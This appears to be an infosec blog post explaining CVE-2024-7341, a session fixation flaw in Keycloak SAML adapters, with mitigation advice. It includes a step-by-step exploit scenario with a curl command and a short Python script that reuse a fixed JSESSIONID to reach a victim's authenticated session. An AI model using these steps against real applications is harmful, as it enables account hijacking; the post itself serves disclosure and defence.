CVE-2024-7341 - Exploiting Session Fixation in Keycloak SAML Adapters

In early 2024, CVE-2024-7341 was disclosed, uncovering a session fixation vulnerability in SAML adapters for Keycloak, the widely used open-source identity and access management tool. This flaw puts applications using Keycloak with SAML adapters at risk, potentially allowing attackers to hijack users' sessions—even before authentication. In this post, we’ll explain what went wrong, why it matters, demonstrate an exploitation scenario, and point out how to protect your systems.

What Is Session Fixation?

Session fixation is an attack where the attacker sets (or “fixes”) a session ID for a user before they log in. If the application does not change the session ID after login, the attacker can use that same session ID to impersonate the user later.

CVE-2024-7341 Details

Vulnerability:
Keycloak SAML adapters fail to regenerate the session ID (and the JSESSIONID cookie) upon user authentication—even when the turnOffChangeSessionIdOnLogin option is not changed.

Why is this bad?
Anyone who can get a user to use a session ID of the attacker’s choosing *before* they authenticate (e.g., via a malicious link) can directly hijack that authentication after login.

Vulnerable:
- Apps using Keycloak SAML adapters
- Keycloak version ≤ discovery date (early 2024), check Keycloak advisories for patches.

Official Advisory:
- Red Hat Keycloak Security Advisory
- Keycloak Issue Tracker (might require permissions)

Exploit Scenario – Step by Step

Suppose an attacker knows your Keycloak-based app uses SAML login and does not change the session after login.

Step 1: Attacker Sends a “Prepared” Session Link

The attacker visits your site, gets a new session ID (say, JSESSIONID=12345), and sends a link to a target like this:

https://your-app.example.com/     (with JSESSIONID=12345 cookie included)

They can craft a script or use a session fixation burp plugin to enforce this.

Example using curl

curl -b "JSESSIONID=12345" https://your-app.example.com/

Step 2: Victim Uses the Attacker’s Session

The victim clicks the link or is tricked into visiting the site. Their browser gets or uses the attacker’s session ID.

Example attack flow

Attacker

SESSION_ID = "12345"
# Save cookie in browser, or script phishing page to set this cookie for the domain

Victim visits site, logs in via SAML. Keycloak SAML adapter does not change session ID.

Step 3: Attacker Steals Authentication

After the victim logs in (with fixed JSESSIONID=12345), the attacker uses that same session to access the authenticated area—now as the victim.

Proof with python requests (attacker's side)

import requests

s = requests.Session()
s.cookies.set('JSESSIONID', '12345', domain='your-app.example.com')
resp = s.get('https://your-app.example.com/secure-area')
print(resp.text)

If the exploit works, the attacker now sees authenticated (victim's) data!

If you're developing with Java Servlets and Keycloak SAML, look for code like this

// This should be done on authentication
if (!turnOffChangeSessionIdOnLogin) {
    request.changeSessionId();
}

But in the vulnerable versions, this line might not execute—leaving the session unchanged.

## How to Fix / Mitigation

Update Keycloak:

Always use the latest version. Watch for Keycloak releases that mention SAML or session fixation fixes.

If you have a custom login handler, ensure you call request.changeSessionId() or equivalent after successful login.

**Set turnOffChangeSessionIdOnLogin = false:**

Double-check your config to ensure Keycloak is *supposed* to change the session ID. But remember, in the vulnerable range, this setting is ignored.

References

- Keycloak Documentation – SAML
- CVE-2024-7341 at NIST NVD
- Keycloak Security Advisories
- OWASP – Session Fixation

Conclusion

CVE-2024-7341 is a critical web application issue. If you use Keycloak SAML and haven’t updated, your users are at risk: anyone who controls or predicts the pre-login session can hijack accounts.

Update your Keycloak instance, verify your adapters, and always change session IDs after login. Simple mistakes like this still enable powerful attacks!

*Originally written by an independent infosec writer. Please share responsibly!*

Timeline

Published on: 09/09/2024 19:15:14 UTC
Last modified on: 10/04/2024 13:22:30 UTC